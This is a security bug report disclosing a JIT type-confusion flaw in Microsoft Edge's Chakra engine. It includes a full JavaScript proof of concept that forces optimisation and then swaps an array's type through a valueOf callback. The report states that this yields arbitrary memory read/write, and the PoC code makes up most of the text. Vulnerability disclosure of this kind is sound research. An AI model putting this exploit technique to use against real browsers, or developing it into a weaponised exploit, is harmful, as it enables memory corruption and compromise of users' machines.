Microsoft Edge: Chakra incorrect jit optimization with TypedArray setter.
Project Member Reported by lokihardt@google.com, Dec 16 2016 Back to list
PoC:

"use strict";

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c; <<<<----------------------- (1)
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    var a = [1.1, 2.2];
    var b = new Uint32Array(100);

    // force to optimize
    for (var i = 0; i < 0x10000; i++)
        func(a, b, i);

    func(a, b, {valueOf: () => {
        a[0] = {}; <<<<----------------------- (2)

        return 0;
    }});

    a[0].toString();
}

main();

In the above code, Chakra assumes that the type of |a| will be still a native float array after executing (1), even we could change its type with the valueOf handler( (2) ). So it could result in type confusion.

The attached PoC will reproduce arbitrary memory read/write.

Tested on Microsoft Edge 38.14393.0.0.
